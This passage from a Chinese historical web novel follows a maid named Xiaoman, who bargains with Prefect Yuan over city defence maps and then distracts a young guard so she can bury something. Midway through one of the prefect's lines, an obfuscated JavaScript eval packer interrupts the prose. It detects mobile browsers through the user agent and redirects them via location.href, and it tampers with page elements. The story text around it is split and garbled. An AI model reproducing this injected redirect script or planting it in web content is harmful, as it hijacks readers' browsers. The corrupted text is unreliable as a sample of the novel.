袁太守刚要伸手拿起那张宣纸,小满伸手将它按在原地,“大人,这标注我还未画完,除此之外还有第二幅城防图,等明日我定会将二者一并呈上。” 袁太守盯着宣纸看了半晌,缓缓收回手,“也罢,明日我再来看你。” 他一甩衣袖,转身离开,却被小满出声唤住,“若奴婢将这两样图纸呈给大人,往后该如何?” 袁太守笑了笑,“只要你安分守己,不去主帅面前晃,我保你一世衣食无忧。” 见状,小满摇了摇头,“大人,奴婢不要衣食无忧,只要荣华富贵。” 听到这话,袁太守挑眉讶然,“你个小小丫鬟,还看不出来有这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617363|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等心思。听你这意思,是要金银珠宝,豪宅沃田咯?” 小满肯定地点点头,“大人是个敞亮人,那奴婢也不多说虚言。午后大人若是得空,差人给奴婢送来一箱珠宝首饰如何?” 眼下还有两张图在小满手上,她提出的要求也不是很过分,袁太守思量片刻答应下来。 待袁太守走后,小满坐回书桌前,百无聊赖地在那张所谓的“注释”上写写画画。那个老东西不是个敞亮的人,小满单方面撕毁了和他的合作协议。自然,面前的图画和注释也没必要精细地敷衍,粗糙地敷衍一下就得了。 小满在注释图上落下了最后一笔,与此同时,袁太守信守承诺,差人给小满送来了一小箱珠宝。 里面没有金子,只有一些碧玺手串,青玉小摆件和素银簪子一类的漂亮首饰。小满随意挑了几样东西揣在袖子中,哼着歌继续画图。 暮色再次悄悄地笼罩大地,等夜晚悄然来到,廊下点了灯,看守自己的北狄士兵聚在一起寻欢作乐,小满知道,自己的机会来了。 “喂,你饿不饿?” 年轻士兵听到了小满熟悉的问候,自然地回头应答,“我刚吃过东西,还不饿。” 小满看着比昨天自然了一些的年轻士兵,轻啧一声,将一块肉饼塞到他手中,“你乱讲,你肯定饿了!你之前不是还说他们欺负你,不让你吃东西来着?” 见年轻士兵还在扭捏推辞,小满干脆利落地拉过他的手,将一块饼拍到他手中,“你就别和我客气了,吃吧,我帮你看着那些人。” 年轻士兵轻松地伸展了一下腰背,将饼塞到嘴里大口咀嚼着,时不时还做出对肉饼口味的点评。 小满陪着他说笑,不知不觉间,又说起了弟弟的事。她想着之前写过的作文,什么小时候和弟弟一起捉萤火虫啦,自己做饭结果把厨房烧了,弟弟替自己背了黑锅啦,伴随着她声情并茂的讲述,年轻士兵也不知道想到了什么,也和她一起哈哈大笑。 最近几天无雨,月亮渐渐爬上屋檐,将清辉洒落大地。 小满站起身,锤一锤自己发麻发胀的腿,走进屋子,看起来是要休息了。 年轻士兵依依不舍地和小满告别,转过身靠在柱子上,脑海里想的还是小满描述的螃蟹和小鲫鱼。 “啊,还有一件事要麻烦你,”小满忽然从一侧探出头,把他吓了一跳,“我想去方便一下,你能,陪我一起去吗?” 年轻士兵刚想说屋里有恭桶,但对上小满楚楚可怜的眼神,一句话也说不出来了。他没怎么犹豫,立刻大包大揽下来,“走吧,遇见人了就说我在看守你好了。” 一旁人间年轻士兵和小满一同走出去,也没怎么意外,吹口哨起哄的倒是不少。 在他们的目送下,小满在这后院中左拐右拐,来到了一处青草地。 年轻士兵对这里不熟悉,自然也不会正眼看,他立刻和小满告假,说帮她在远处站岗。 小满冲他笑了笑,倒了声谢,却在蹲下的同时,将手中的一个什么东西按在了松软的土地中。